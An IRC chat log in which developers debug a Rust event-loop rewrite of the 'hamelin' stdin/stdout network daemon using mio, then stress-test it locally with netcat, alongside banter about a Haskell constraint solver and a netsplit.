[2015-02-15T23:44:12-0500] <grantwu> Why should I
[2015-02-15T23:46:44-0500] <JacobEdelman_phone> Lol
[2015-02-15T23:57:20-0500] <+awe> True story.
[2015-02-15T23:59:42-0500] <JacobEdelman_phone> Phone keyboards are word
[2015-02-15T23:59:49-0500] <JacobEdelman_phone> Oops
[2015-02-15T23:59:56-0500] <JacobEdelman_phone> Infant word
[2015-02-16T00:00:01-0500] <JacobEdelman_phone> ..  .... 
[2015-02-16T00:00:06-0500] <JacobEdelman_phone> Fail
[2015-02-16T00:00:13-0500] <JacobEdelman_phone> Now good bye
[2015-02-16T00:00:18-0500] <hardmath123> awe: wait what the python should totally work. nothing changed.
[2015-02-16T00:00:21-0500] <hardmath123> ...
[2015-02-16T00:00:28-0500] <+awe> hardmath123: The python didn't work before.
[2015-02-16T00:00:37-0500] <+awe> I believe it's for the same reason.
[2015-02-16T00:00:49-0500] <+awe> The programs exit as soon as stdin hits EOF.
[2015-02-16T00:00:52-0500] <+awe> and I'm not sure why.
[2015-02-16T00:01:00-0500] <hardmath123> It just worked.
[2015-02-16T00:01:01-0500] <hardmath123> http://backtick.town/~kc/qdb.txt
[2015-02-16T00:01:10-0500] <+awe> No, for me.
[2015-02-16T00:01:16-0500] <+awe> Using my hamelin.
[2015-02-16T00:01:32-0500] <+awe> Oh, the Python one works.
[2015-02-16T00:01:39-0500] <+awe> I fixed it. Awesome!
[2015-02-16T00:01:59-0500] <+awe> It must just be the ruby script that doesn't let you do anything.
[2015-02-16T00:02:03-0500] <+awe> Okay.
[2015-02-16T00:07:23-0500] <+awe> hardmath123: lol, okay, so it works, but blocks on individual clients right now.
[2015-02-16T00:07:39-0500] <+awe> hardmath123: I think I might be doing this wrong.
[2015-02-16T00:31:12-0500] <+awe> hardmath123: Yeah, I'm doing the event loop very, very wrong.
[2015-02-16T00:38:06-0500] Mode is +nt
[2015-02-16T00:40:35-0500] <+awe> Curse this darned lack of documentation.
[2015-02-16T00:40:56-0500] <+awe> Well, at least it works in general. I just need to make it not block on a single connection now.
[2015-02-16T00:46:51-0500] <bob_twinkles> so... the hard part =P
[2015-02-16T00:47:53-0500] <+awe> Well, yes.
[2015-02-16T00:48:05-0500] <+awe> It shouldn't be that hard once my friend sends me an example of how to actually use mio.
[2015-02-16T00:49:10-0500] <+awe> bob_twinkles: I've sort of already dealt with the harder issue though, which was actually doing the async reading and writing.
[2015-02-16T00:49:31-0500] <+awe> I could get it working again properly as before by spinning off new threads.
[2015-02-16T00:49:35-0500] <+awe> But that's not what I want.
[2015-02-16T00:50:51-0500] <bob_twinkles> well, once you get that working you can make it do both
[2015-02-16T00:51:01-0500] <bob_twinkles> spin off nprocs threads and divide work across them =D
[2015-02-16T00:52:09-0500] <+awe> mio doesn't provide that, but yes.
[2015-02-16T00:52:35-0500] <+awe> For now, I just made it spin off new threads again.
[2015-02-16T00:52:40-0500] <+awe> So that it at least works 100%.
[2015-02-16T00:52:47-0500] <+awe> Isn't actually production ready yet.
[2015-02-16T00:52:57-0500] <+awe> But the qdb script works properly.
[2015-02-16T00:54:04-0500] <bob_twinkles> very nice
[2015-02-16T00:55:34-0500] <+awe> Redoing the SSL one in hamelin is going to be cray.
[2015-02-16T00:55:58-0500] <+awe> Or maybe not.
[2015-02-16T00:55:59-0500] <+awe> I dunno.
[2015-02-16T00:56:30-0500] <+awe> I don't know how hard it is to use OpenSSL with mio.
[2015-02-16T00:57:00-0500] <+awe> With the old version, it was basically just wrapping the TcpStream in an SslStream.
[2015-02-16T01:09:49-0500] <hardmath123> Hmmm
[2015-02-16T01:10:15-0500] <hardmath123> If I give you a subprocess I/O wrangling C program, can you make Rust bindings easily?
[2015-02-16T01:10:36-0500] <hardmath123> Because currently hamelin.c works really well.
[2015-02-16T01:10:53-0500] <hardmath123> I'll implement a friendly interface for it tomorrow.
[2015-02-16T01:12:11-0500] <+awe> That's not the part that I'm stuck on.
[2015-02-16T01:12:24-0500] <+awe> It's improving the networking stuff to basically use epoll.
[2015-02-16T01:12:31-0500] <+awe> So, I'm making it production-ready.
[2015-02-16T01:15:57-0500] <hardmath123> Ah.
[2015-02-16T01:16:12-0500] <hardmath123> I'm trying to think of a way where I can also abstract out the networking stuff.
[2015-02-16T01:16:38-0500] <hardmath123> So you could negotiate the protocol (like HTTP) in a high-level language.
[2015-02-16T01:17:02-0500] <hardmath123> But not have to deal with gnarly subprocess details.
[2015-02-16T01:17:18-0500] <hardmath123> I think the solution is to write bindings to the C library, but I have no idea how to do that.
[2015-02-16T01:17:46-0500] <+awe> I figured out how to do this though.
[2015-02-16T01:18:37-0500] <hardmath123> Yay.
[2015-02-16T01:21:35-0500] <+awe> I think.
[2015-02-16T01:21:39-0500] <+awe> We'll see. :)
[2015-02-16T01:22:17-0500] <hardmath123> I'm actually very confused as to what I'm trying to accomplished with hamelin.c...
[2015-02-16T01:50:29-0500] <+awe> Okay, I'm getting... somewhere.
[2015-02-16T01:55:43-0500] <+awe> bob_twinkles: okay, uhh...
[2015-02-16T01:55:51-0500] <+awe> bob_twinkles: it's never calling writable.
[2015-02-16T01:55:55-0500] <+awe> bob_twinkles: why is this socket never writable?
[2015-02-16T01:57:27-0500] <bob_twinkles> I haven't the faintest idea =P
[2015-02-16T01:57:43-0500] <+awe> If I could figure that out, I think everything works?
[2015-02-16T01:57:50-0500] <bob_twinkles> strace?
[2015-02-16T01:57:59-0500] <+awe> ???
[2015-02-16T01:59:01-0500] <bob_twinkles> strace lets you monitor all the syscalls your program makes
[2015-02-16T01:59:28-0500] <+awe> Well, I have dtrace.
[2015-02-16T01:59:31-0500] <+awe> I don't know how to use it.
[2015-02-16T02:00:04-0500] <nezorg> i never figured out how to use it
[2015-02-16T02:00:09-0500] <nezorg> solution: run Linux
[2015-02-16T02:00:16-0500] <nezorg> or a bsd
[2015-02-16T02:00:32-0500] <+awe> I'm just so confused.
[2015-02-16T02:00:42-0500] <+awe> I don't know why it wouldn't be writable.
[2015-02-16T02:01:10-0500] <bob_twinkles> it could be the rust runtime doesn't declare it's interested in "writeable"
[2015-02-16T02:01:12-0500] <bob_twinkles> events
[2015-02-16T02:01:21-0500] <bob_twinkles> that seems unlikely though
[2015-02-16T02:01:21-0500] <+awe> Not Rust.
[2015-02-16T02:01:27-0500] <+awe> I think you're write.
[2015-02-16T02:01:32-0500] <+awe> I think I have to tell mio that I'm interested in writable.
[2015-02-16T02:02:35-0500] <+awe> Gotta figure out how to do that now.
[2015-02-16T02:02:47-0500] <bob_twinkles> weeee undocumented interfaces =P
[2015-02-16T02:03:10-0500] <nezorg> [23:01] (+awe) I think you're write.
[2015-02-16T02:03:11-0500] <nezorg> lol
[2015-02-16T02:03:14-0500] <+awe> Lol.
[2015-02-16T02:03:15-0500] <+awe> Sorry.
[2015-02-16T02:03:29-0500] <nezorg> well at least it was pertinent :P
[2015-02-16T02:03:34-0500] <+awe> bob_twinkles: I don't blame the dev because he's a) super nice, and b) still very much working on it.
[2015-02-16T02:03:38-0500] <+awe> bob_twinkles: but it's really annoying.
[2015-02-16T02:03:50-0500] <+awe> bob_twinkles: I see Interest, but I don't see the interface for actually saying I'm interested in it.
[2015-02-16T02:04:02-0500] <bob_twinkles> heh
[2015-02-16T02:04:05-0500] <bob_twinkles> read the source, luke?
[2015-02-16T02:04:28-0500] <bob_twinkles> or is the MIO source currently really nasty
[2015-02-16T02:04:48-0500] <+awe> bob_twinkles: http://carllerche.github.io/mio/mio/struct.EventLoop.html
[2015-02-16T02:04:52-0500] <+awe> bob_twinkles: register_opt maybe?
[2015-02-16T02:05:07-0500] <+awe> I don't know what PollOpt is though.
[2015-02-16T02:05:56-0500] <bob_twinkles> trigger mode of epoll
[2015-02-16T02:05:58-0500] <bob_twinkles> looks like anyway
[2015-02-16T02:06:28-0500] <+awe> bob_twinkles: which one do I do?
[2015-02-16T02:07:28-0500] <bob_twinkles> uh... 
[2015-02-16T02:07:32-0500] <bob_twinkles> level trigger I think
[2015-02-16T02:07:33-0500] <+awe> I did all for both interest and pollopt lol.
[2015-02-16T02:07:44-0500] <bob_twinkles> I have no idea what that will do XD
[2015-02-16T02:08:09-0500] <bob_twinkles> probably should be about what you want for Interest though
[2015-02-16T02:08:18-0500] <+awe> Yup.
[2015-02-16T02:08:26-0500] <bob_twinkles> worky?
[2015-02-16T02:08:51-0500] <+awe> So, it seems to not be constantly trying writable?
[2015-02-16T02:08:54-0500] <+awe> Which is wrong, right?
[2015-02-16T02:09:27-0500] <bob_twinkles> I dunno, it probably depends on what conditions sockets are considered writeable
[2015-02-16T02:09:39-0500] <+awe> should be if there's any space in the buffer.
[2015-02-16T02:09:51-0500] <bob_twinkles> should != is
[2015-02-16T02:09:53-0500] <bob_twinkles> =P
[2015-02-16T02:10:49-0500] <+awe> Well, I need it to be calling writable more.
[2015-02-16T02:11:05-0500] <+awe> Because otherwise you'll never get the stdout
[2015-02-16T02:12:06-0500] <bob_twinkles> shouldn't you just be writing to the output socket whenever input from the filter is available?
[2015-02-16T02:12:30-0500] <+awe> filter?
[2015-02-16T02:12:43-0500] <bob_twinkles> program that the hamelin daemon is running over
[2015-02-16T02:13:07-0500] <+awe> Yes.
[2015-02-16T02:13:22-0500] <+awe> Basically, the way I have it set up is that
[2015-02-16T02:13:27-0500] <+awe> writable will attempt to write
[2015-02-16T02:13:41-0500] <+awe> an attempt to write means checking to see if there's a line to write, and if there is, writing it.
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[2015-02-16T02:14:54-0500] <bob_twinkles> why not check both for readable?
[2015-02-16T02:15:02-0500] <bob_twinkles> like, when there is data available from the filter send it back
[2015-02-16T02:15:21-0500] <+awe> I don't know what you mean by checking both for readable.
[2015-02-16T02:15:26-0500] <bob_twinkles> and consider the output socket not being writable an error
[2015-02-16T02:15:42-0500] <bob_twinkles> like, check if you have data from either the client or the filter
[2015-02-16T02:15:46-0500] <bob_twinkles> and then shove that in the right direction
[2015-02-16T02:16:17-0500] <bob_twinkles> instead of worrying about whether or not anything is writable
[2015-02-16T02:16:54-0500] <+awe> That's basically what I'm doing.
[2015-02-16T02:17:21-0500] <+awe> When I say readable and writable, I'm talking about the interface for the eventloop
[2015-02-16T02:18:13-0500] <+awe> bob_twinkles: http://sprunge.us/ghCG?rust
[2015-02-16T02:18:25-0500] <+awe> bob_twinkles: around 103, you'll see what I mean
[2015-02-16T02:22:05-0500] <bob_twinkles> so writable gets called whenever the event loop thinks... something has happened
[2015-02-16T02:23:25-0500] <bob_twinkles> hmm
[2015-02-16T02:23:46-0500] <+awe> I don't know how to do this.
[2015-02-16T02:23:47-0500] <+awe> .-.
[2015-02-16T02:25:04-0500] <+awe> I either want a way that I can tell it that it's writable whenever the command's stdout has a line, or have it do writable as it is and call it constantly.
[2015-02-16T02:25:25-0500] <+awe> well, constantly as in, whenever it's not doing something else.
[2015-02-16T02:27:10-0500] <bob_twinkles> I dunno, the way I would do this is pretty much just "when data from client write() to filter, when data from filter write() to client"
[2015-02-16T02:27:19-0500] <bob_twinkles> but I have no idea how to express that in MIO language
[2015-02-16T02:38:27-0500] <+awe> I either want a way that I can tell it that it's writable whenever the command's stdout has a line, or have it do writable as it is and call it constantly.
[2015-02-16T02:38:29-0500] <+awe> Erm.
[2015-02-16T02:38:30-0500] <+awe> Sorry.
[2015-02-16T02:45:35-0500] <+awe> bob_twinkles: readable also only works until I press enter.
[2015-02-16T02:45:49-0500] <bob_twinkles> T_T
[2015-02-16T02:45:55-0500] <bob_twinkles> 's ALL BORKEN
[2015-02-16T02:45:56-0500] <+awe> bob_twinkles: after the first enter, I don't get readable again on a second one.
[2015-02-16T02:46:00-0500] <+awe> I do not understand. .-.
[2015-02-16T02:47:00-0500] <bob_twinkles> according to the tjcsl bot:
[2015-02-16T02:47:02-0500] <bob_twinkles> !wai
[2015-02-16T02:47:05-0500] <bob_twinkles> because hydraulic stabilizer corroded
[2015-02-16T02:47:15-0500] <+awe> .-.
[2015-02-16T02:47:20-0500] <+awe> Not good enough.
[2015-02-16T02:47:37-0500] <bob_twinkles>  because required compressor reversed polarity?
[2015-02-16T02:48:12-0500] <+awe> .-.
[2015-02-16T02:48:17-0500] <+awe> I just want this to work.
[2015-02-16T02:48:32-0500] <bob_twinkles> don't we all
[2015-02-16T02:48:44-0500] <bob_twinkles> do you ever look at the /r/dailyprogrammer challenges?
[2015-02-16T02:49:59-0500] <+awe> I think changing it to level fixed it.
[2015-02-16T02:50:11-0500] <bob_twinkles> oh, nice
[2015-02-16T02:50:18-0500] <+awe> Well, got it closer anyway.
[2015-02-16T02:50:23-0500] <+awe> Writable happens constantly now. :)
[2015-02-16T02:50:56-0500] <bob_twinkles> I totally told you to use level trigger mode like an hour ago =P
[2015-02-16T02:51:32-0500] <+awe> Well, like a half hour ago.
[2015-02-16T02:51:33-0500] <+awe> But yeah.
[2015-02-16T02:53:07-0500] <+awe> Okay, so, I have to make EOF work properly now.
[2015-02-16T02:53:18-0500] <+awe> i.e. I have to make it deregister the stream.
[2015-02-16T02:53:35-0500] <bob_twinkles> goodie
[2015-02-16T02:53:46-0500] <+awe> Which is sort of hard because of semantics.
[2015-02-16T02:54:16-0500] <bob_twinkles> I'm trying to debug a haskell constraint solver and purity is sort of getting on my nerves
[2015-02-16T02:54:37-0500] <bob_twinkles> purity is nice like 97% of the time
[2015-02-16T02:54:43-0500] <+awe> Yeah.
[2015-02-16T02:54:49-0500] <bob_twinkles> except for the 3% when you just want to add a goddamn print statement
[2015-02-16T02:54:49-0500] <+awe> It can be frustrating as hell.
[2015-02-16T02:55:53-0500] <bob_twinkles> I wrote this frickin monstrocity: 
[2015-02-16T02:55:56-0500] <bob_twinkles>  constraintInfo c cs = traceShow c $ trace $ concatMap ((++ "\n") . show) $ zip (map (countMatch unknownProbability . concatMap (c!)) cs) cs
[2015-02-16T02:56:17-0500] <bob_twinkles> and now I have less of a clue what was going on =P
[2015-02-16T02:58:02-0500] <+awe> Lol.
[2015-02-16T03:04:43-0500] <+awe> bob_twinkles: okay, so, it closes the stream on EOF but then crashes.
[2015-02-16T03:04:57-0500] <bob_twinkles> heh
[2015-02-16T03:05:04-0500] <bob_twinkles> is everything in one OS thread?
[2015-02-16T03:05:07-0500] <+awe> Yes.
[2015-02-16T03:05:47-0500] <+awe> OH.
[2015-02-16T03:05:50-0500] <+awe> It's because my friend is an idiot.
[2015-02-16T03:05:51-0500] <+awe> :)
[2015-02-16T03:05:54-0500] <bob_twinkles> lol
[2015-02-16T03:05:54-0500] <+awe> hi calc0000 
[2015-02-16T03:05:56-0500] <+awe> calc0000: you're dumb.
[2015-02-16T03:06:03-0500] <+awe> Not actually, but it's because uhh...
[2015-02-16T03:06:08-0500] <+awe> SERVER => self.accept(eloop),
[2015-02-16T03:06:16-0500] <+awe> On connection close, it updates the SERVER token
[2015-02-16T03:06:20-0500] <+awe> and so it tries to call accept again.
[2015-02-16T03:06:44-0500] <bob_twinkles> that'd blow up
[2015-02-16T03:06:50-0500] <+awe> Yes.
[2015-02-16T03:06:59-0500] <+awe> It crashes because trying to accept it would block.
[2015-02-16T03:08:10-0500] <+awe> Yup!
[2015-02-16T03:08:11-0500] <+awe> It works now.
[2015-02-16T03:08:16-0500] <+awe> Completely.
[2015-02-16T03:08:25-0500] <bob_twinkles> very nice
[2015-02-16T03:09:12-0500] <+awe> Well, not entirely, entirely.
[2015-02-16T03:09:15-0500] <+awe> I have something silly to fix.
[2015-02-16T03:10:10-0500] <+awe> In order to properly close the socket, I have to remove the client object and let the resources be acquired.
[2015-02-16T03:10:17-0500] <+awe> However, doing so breaks the way I do lookups.
[2015-02-16T03:10:31-0500] <+awe> The easiest fix is probably to change it from a vec to a hashmap.
[2015-02-16T03:12:22-0500] <+awe> Yup.
[2015-02-16T03:12:23-0500] <+awe> Perfect.
[2015-02-16T03:13:33-0500] <bob_twinkles> cool
[2015-02-16T03:13:38-0500] <+awe> https://github.com/aatxe/hamelin.rs/blob/master/src/bin/net.rs
[2015-02-16T03:13:43-0500] <bob_twinkles> I think I tracked down what was wrong with my constraints
[2015-02-16T03:13:57-0500] • awe: high fives bob_twinkles for debugging solidarity.
[2015-02-16T03:14:44-0500] <bob_twinkles> heh
[2015-02-16T03:15:05-0500] <bob_twinkles> I ended up recording a vim macro that did this transformation: http://lpaste.net/120594
[2015-02-16T03:15:19-0500] <bob_twinkles> because doing it by hand was getting really annoying
[2015-02-16T03:15:36-0500] <+awe> Lol.
[2015-02-16T03:15:56-0500] <+awe> Haskell sometimes looks so much like Lisp.
[2015-02-16T03:16:25-0500] <bob_twinkles> well, that's the output of show on a recursive? type
[2015-02-16T03:16:30-0500] <bob_twinkles> recursive is the wrong word but I'm tired
[2015-02-16T03:16:58-0500] <+awe> Oh, no, I know it is.
[2015-02-16T03:17:06-0500] <+awe> It's not a bad thing either.
[2015-02-16T03:17:51-0500] <bob_twinkles> I think I didn't design my types too well for this particular problem
[2015-02-16T03:17:56-0500] <bob_twinkles> but it's a bit late to change it now
[2015-02-16T03:19:07-0500] <+awe> That's uhh...
[2015-02-16T03:19:19-0500] <+awe> Pretty much the most important task.
[2015-02-16T03:19:29-0500] <+awe> If you got your data types wrong, everything will be awful.
[2015-02-16T03:19:52-0500] <bob_twinkles> well, I needed an N-tensor
[2015-02-16T03:20:05-0500] <+awe> Do you know of a way to stress-test this now?
[2015-02-16T03:20:20-0500] <bob_twinkles> but I knew that each dimension would have size 2
[2015-02-16T03:20:20-0500] <+awe> Oh, I could do stress test using the grep one.
[2015-02-16T03:20:22-0500] <bob_twinkles> ?
[2015-02-16T03:20:31-0500] <+awe> See how many connections it can handle.
[2015-02-16T03:20:36-0500] <bob_twinkles> heh
[2015-02-16T03:20:39-0500] <bob_twinkles> make sure it's web scale =P
[2015-02-16T03:21:14-0500] <+awe> I'm thinking run it with the grep and then do a script that runs cat dict | nc localhost 30000 n times
[2015-02-16T03:21:19-0500] <+awe> and I'll try with like 10,000 at first
[2015-02-16T03:21:24-0500] <+awe> and if that works, I'll go up.
[2015-02-16T03:21:29-0500] <+awe> Sound fair?
[2015-02-16T03:22:09-0500] <bob_twinkles> I'd start a bit lower than that, but hey what's the worst that can happen?
[2015-02-16T03:22:16-0500] <+awe> Yes.
[2015-02-16T03:22:18-0500] <+awe> Well, okay.
[2015-02-16T03:23:00-0500] <+awe> Well, it's working just fine with 01.
[2015-02-16T03:23:01-0500] <+awe> 10*
[2015-02-16T03:23:11-0500] <+awe> albeit transferring such a large list of words is a bit time-consuming.
[2015-02-16T03:24:28-0500] <bob_twinkles> make sense, that's a lot of copy operation
[2015-02-16T03:24:31-0500] <bob_twinkles> *operations
[2015-02-16T03:28:50-0500] <+awe> This is uhh...
[2015-02-16T03:28:50-0500] <+awe> weird.
[2015-02-16T03:29:15-0500] <+awe> For some reason, with a newly run server, doing cat /usr/share/dict/words | nc localhost 30000 works fine
[2015-02-16T03:29:21-0500] <+awe> but cat file | nc localhost 30000 causes it to crash?
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[2015-02-16T03:29:54-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-16T03:29:54-0500] Mode is +nt
[2015-02-16T03:30:05-0500] <awe> Welp.
[2015-02-16T03:30:07-0500] <awe> There it was.
[2015-02-16T03:30:10-0500] <awe> Our first netsplit.
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[2015-02-16T03:31:13-0500] <awe> Argh.
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[2015-02-16T03:31:44-0500] <bob_twinkles> awe: your DH keys are too short =P
[2015-02-16T03:31:49-0500] <awe> On which server?
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[2015-02-16T03:31:54-0500] <awe> Both?
[2015-02-16T03:31:56-0500] <awe> or just columba?
[2015-02-16T03:32:08-0500] <awe> hardmath123: there you go. our first netsplit. .-.
[2015-02-16T03:32:23-0500] <awe> it occurred at [03:29:46] on February 16th, 2015.
[2015-02-16T03:32:24-0500] <bob_twinkles> hmm, I might just have something misconfigured
[2015-02-16T03:32:33-0500] <awe> bob_twinkles: I'm pretty sure I set them both to send 4096.
[2015-02-16T03:32:36-0500] <awe> Which is the right size.
[2015-02-16T03:32:41-0500] <bob_twinkles> hmm
[2015-02-16T03:32:58-0500] awe sets mode +q awe
[2015-02-16T03:33:01-0500] <bob_twinkles> weechat was complaining that they were too short when I set the minimum size to 1024
[2015-02-16T03:33:04-0500] • bob_twinkles: shrugs
[2015-02-16T03:33:06-0500] awe sets mode -q awe
[2015-02-16T03:33:09-0500] awe sets mode +v awe
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[2015-02-16T03:33:16-0500] awe sets mode +v bob_twinkles
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[2015-02-16T03:33:55-0500] <+awe> bob_twinkles: but yeah, this is some weird shit.
[2015-02-16T03:34:04-0500] <+awe> bob_twinkles: if I cat one file, it works, if I cat another, it crashes.
[2015-02-16T03:34:16-0500] <+bob_twinkles> crossing the streams?
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[2015-02-16T03:34:25-0500] <+bob_twinkles> my constraint solver works though =D
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[2015-02-16T03:35:08-0500] <+awe> That's good.
[2015-02-16T03:35:20-0500] awe sets mode +v ubuntor
[2015-02-16T03:35:28-0500] <+awe> I feel like that's everyone who had voice?
[2015-02-16T03:35:30-0500] <+awe> I don't remember.
[2015-02-16T03:35:35-0500] <+awe> Oh well.
[2015-02-16T03:35:43-0500] <+awe> bob_twinkles: do you have any idea why this would happen?
[2015-02-16T03:36:00-0500] <+bob_twinkles> I dunno, what's the error?
[2015-02-16T03:36:11-0500] <+awe> It's crashing because it's trying to write to a token that doesn't have a client.
[2015-02-16T03:36:52-0500] <+bob_twinkles> off by one error?
[2015-02-16T03:37:24-0500] <+awe> Doesn't explain why it works most of the time?
[2015-02-16T03:37:36-0500] <+bob_twinkles> that is weird
[2015-02-16T03:37:58-0500] <+bob_twinkles> I would say memory corruption but if it's all 1 OS thread + rust that doesn't seem likely
[2015-02-16T03:38:35-0500] <+awe> does /usr/share/dict/words have some special formatting?
[2015-02-16T03:38:46-0500] <+bob_twinkles> nope, AFAIK it's just ASCII
[2015-02-16T03:39:00-0500] <+awe> Does it have an EOF or something?
[2015-02-16T03:39:15-0500] <+bob_twinkles> don't think so
[2015-02-16T03:39:24-0500] <+bob_twinkles> well, at the end it'll generate one =P
[2015-02-16T03:39:56-0500] <+bob_twinkles> the only thing I can think of is that you're killing filter when a client exits
[2015-02-16T03:40:00-0500] <+awe> n.
[2015-02-16T03:40:04-0500] <+awe> It happens on clean start up.
[2015-02-16T03:40:12-0500] <+awe> Also, I open a new command for each client.
[2015-02-16T03:40:15-0500] <+awe> Because that's how it works.
[2015-02-16T03:40:33-0500] <+bob_twinkles> my brain skipped some words
[2015-02-16T03:40:38-0500] <+bob_twinkles> killing the wrong filter
[2015-02-16T03:41:06-0500] <+awe> Definitely not it.
[2015-02-16T03:45:14-0500] <+awe> bob_twinkles: it can do about ~200 local connections at the same time before running out of resources.
[2015-02-16T03:45:32-0500] <+bob_twinkles> nice
[2015-02-16T03:45:37-0500] <+awe> But I feel like that's probably because of the number trying to connect at once.
[2015-02-16T03:45:56-0500] <+awe> Plus, it might hurt that I'm doing forks locally.
[2015-02-16T03:46:27-0500] <+bob_twinkles> yeah, IIRC fork can be quite expensive
[2015-02-16T03:47:37-0500] <+awe> So, without it being on my machine, we can imagine at least a double simultaneous connections.
[2015-02-16T03:47:45-0500] <+awe> at a given moment.
[2015-02-16T03:47:59-0500] <+awe> It might be the case that it can do more if they're not connecting all at the same time.
[2015-02-16T03:49:48-0500] <+bob_twinkles> needs moar sleep in your test script?
[2015-02-16T03:51:24-0500] <+awe> I'm still deeply confused about this whole some files make it break thing.
[2015-02-16T03:51:39-0500] <+bob_twinkles> is it related to the length of the file?
[2015-02-16T03:51:52-0500] <+awe> I don't think so?
[2015-02-16T03:52:01-0500] <+awe> Why would a shorter file blow up?
[2015-02-16T03:53:18-0500] <+bob_twinkles> if the filter program dies before you read that might cause problems?
[2015-02-16T03:53:22-0500] <+bob_twinkles> I'm not sure about that though
[2015-02-16T03:53:30-0500] <+awe> That's not the issue.
[2015-02-16T03:53:37-0500] <+awe> The program isn't dying.
[2015-02-16T03:55:07-0500] <+awe> Or uhh...
[2015-02-16T03:55:08-0500] <+awe> maybe it is?
[2015-02-16T03:55:21-0500] <+awe> It actually appears to get 10 writes.
[2015-02-16T03:55:31-0500] <+awe> I don't know why it isn't sending them back then.
[2015-02-16T03:56:24-0500] <+awe> Ah, it's not finding anything.
[2015-02-16T03:56:34-0500] <+awe> Maybe the line-endings are wrong somehow
[2015-02-16T03:58:56-0500] <+bob_twinkles> ooh, that could be it
[2015-02-16T03:59:07-0500] <+bob_twinkles> osx uses \r instead of \n right?
[2015-02-16T03:59:37-0500] <+awe> Modern OS X should use \r\n.
[2015-02-16T03:59:50-0500] <+bob_twinkles> still != just \n
[2015-02-16T03:59:56-0500] <+awe> shouldn't matter much.
[2015-02-16T04:00:02-0500] <+awe> https://github.com/Hardmath123/nearley/pull/48/commits
[2015-02-16T04:00:05-0500] <+awe> o lord.
[2015-02-16T04:00:07-0500] <+awe> Jacob.
[2015-02-16T04:00:15-0500] <+awe> test
[2015-02-16T04:00:16-0500] <+awe> Revert test
[2015-02-16T04:00:17-0500] <+awe> fixing
[2015-02-16T04:00:18-0500] <+awe> fixing
[2015-02-16T04:00:19-0500] <+awe> fixing
[2015-02-16T04:00:21-0500] <+awe> fixing
[2015-02-16T04:00:25-0500] <+awe> fixing
[2015-02-16T04:00:25-0500] <+awe> fixing
[2015-02-16T04:00:29-0500] <+awe> Update nearly.js
[2015-02-16T04:00:32-0500] <+awe> Update nearley.js
[2015-02-16T04:00:36-0500] <+awe> y
[2015-02-16T04:00:40-0500] <+awe> Y U DO THIS
[2015-02-16T04:00:45-0500] <+awe> Y U NO MAKE SINGLE COMMIT
[2015-02-16T04:01:25-0500] <+bob_twinkles> incredible
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[2015-02-16T04:09:52-0500] <+bob_twinkles> https://gist.github.com/bobtwinkles/f4082ba4e28e400cdf81
[2015-02-16T04:09:57-0500] <+bob_twinkles> constraint solving =D
[2015-02-16T04:10:06-0500] <+awe> Wow, this is intricate.
[2015-02-16T04:10:21-0500] <+bob_twinkles> !s/intricate/poorly written/
[2015-02-16T04:10:29-0500] <+awe> Lol.
[2015-02-16T04:10:33-0500] <+awe> Possible.
[2015-02-16T04:10:33-0500] <+bob_twinkles> I'm nearly 100% sure there's a more idiomatic way to represent what I wanted
[2015-02-16T04:10:44-0500] <+awe> Probably.
[2015-02-16T04:10:48-0500] <+awe> 250 line Haskell files seems... unusual.
[2015-02-16T04:10:51-0500] <+bob_twinkles> but I couldn't find anything quickly so I was like "screwit, I'll just do it this way"
[2015-02-16T04:11:05-0500] <+awe> I'm going to go to bed.
[2015-02-16T04:11:06-0500] <+bob_twinkles> like 90% of that is boilerplate around parsec which I probably didn't have to write
[2015-02-16T04:11:06-0500] <+awe> It's late.
[2015-02-16T04:11:11-0500] <+bob_twinkles> well, 50%
[2015-02-16T04:11:13-0500] <+bob_twinkles> 'night
[2015-02-16T04:11:26-0500] <+awe> Yeah, I just noticed that there's 100 lines of parsec stuff.
[2015-02-16T04:12:00-0500] <+awe> Good night!
[2015-02-16T04:15:16-0500] <+bob_twinkles> heh, somebody solved it in 70 lines of basic =P
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[2015-02-16T10:30:46-0500] <JacobEdelman_phone> hardmath123: I suppose I could write a hamelin interface in nim by wrapping the c version
[2015-02-16T10:31:11-0500] <JacobEdelman_phone> That might be a fun project
[2015-02-16T11:30:21-0500] <calc0000> and bob_twinkles' your uncle
[2015-02-16T11:36:18-0500] <+hardmath123> JacobEdelman_phone: uh wait for me to release the C version, then go for it
[2015-02-16T11:36:25-0500] <JacobEdelman_phone> Okay
[2015-02-16T11:36:27-0500] <+hardmath123> awe: -_- netspit.
[2015-02-16T11:36:32-0500] <+hardmath123> *netsplit
[2015-02-16T11:36:41-0500] <JacobEdelman_phone> Wait
[2015-02-16T11:36:45-0500] <+hardmath123> netspit = cyberllama defense mechanism
[2015-02-16T11:40:56-0500] <JacobEdelman> I missed the netsplit?
[2015-02-16T11:40:58-0500] <JacobEdelman> what happened?
[2015-02-16T11:41:00-0500] <JacobEdelman> and why?
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[2015-02-16T12:26:49-0500] <+awe> hardmath123: did you see that I finished updating hamelin?
[2015-02-16T12:27:02-0500] <+hardmath123> Yeah I skimmed the scrollback.
[2015-02-16T12:27:04-0500] <+hardmath123> Does it work?
[2015-02-16T12:27:15-0500] <+awe> Yeah!
[2015-02-16T12:27:24-0500] <+hardmath123> Nice!
[2015-02-16T12:27:25-0500] <+hardmath123> SSL?
[2015-02-16T12:27:31-0500] <+awe> I haven't updated that one yet.
[2015-02-16T12:28:30-0500] <+awe> But the TCP one doesn't spawn a new thread for every connection.
[2015-02-16T12:29:15-0500] <+hardmath123> hmm how does it work then?
[2015-02-16T12:29:27-0500] <+awe> An event loop.
[2015-02-16T12:29:32-0500] <+awe> It uses epoll internally.
[2015-02-16T12:29:38-0500] <+hardmath123> Ah.
[2015-02-16T12:29:45-0500] <+awe> Or whatever similar facility is available on the platform.
[2015-02-16T12:29:47-0500] <+awe> kqueue, etc.
[2015-02-16T12:30:44-0500] <+hardmath123> so at this point i dunno what to do with my C implementation
[2015-02-16T12:31:02-0500] <+hardmath123> it's crazy to actually go implement a protocol in C
[2015-02-16T12:31:12-0500] <+awe> Lol.
[2015-02-16T12:31:23-0500] <+awe> Well, the C implementation should basically be like mine but even more long-winded.
[2015-02-16T12:31:32-0500] <+hardmath123> It's not that bad, actually.
[2015-02-16T12:31:39-0500] <+awe> Do you spawn individual threads?
[2015-02-16T12:31:55-0500] <JacobEdelman> nim has good parallel support 
[2015-02-16T12:32:02-0500] <+hardmath123> Yeah. At the moment, it just handles subprocesses. I haven't done sockets yet.
[2015-02-16T12:32:14-0500] <+awe> Because if you change it to using epoll/kqueue/etc., it'll be incredibly long because you'll have to build a platform-agnostic wrapper and then use that.
[2015-02-16T12:32:24-0500] <+awe> JacobEdelman: Cool story.
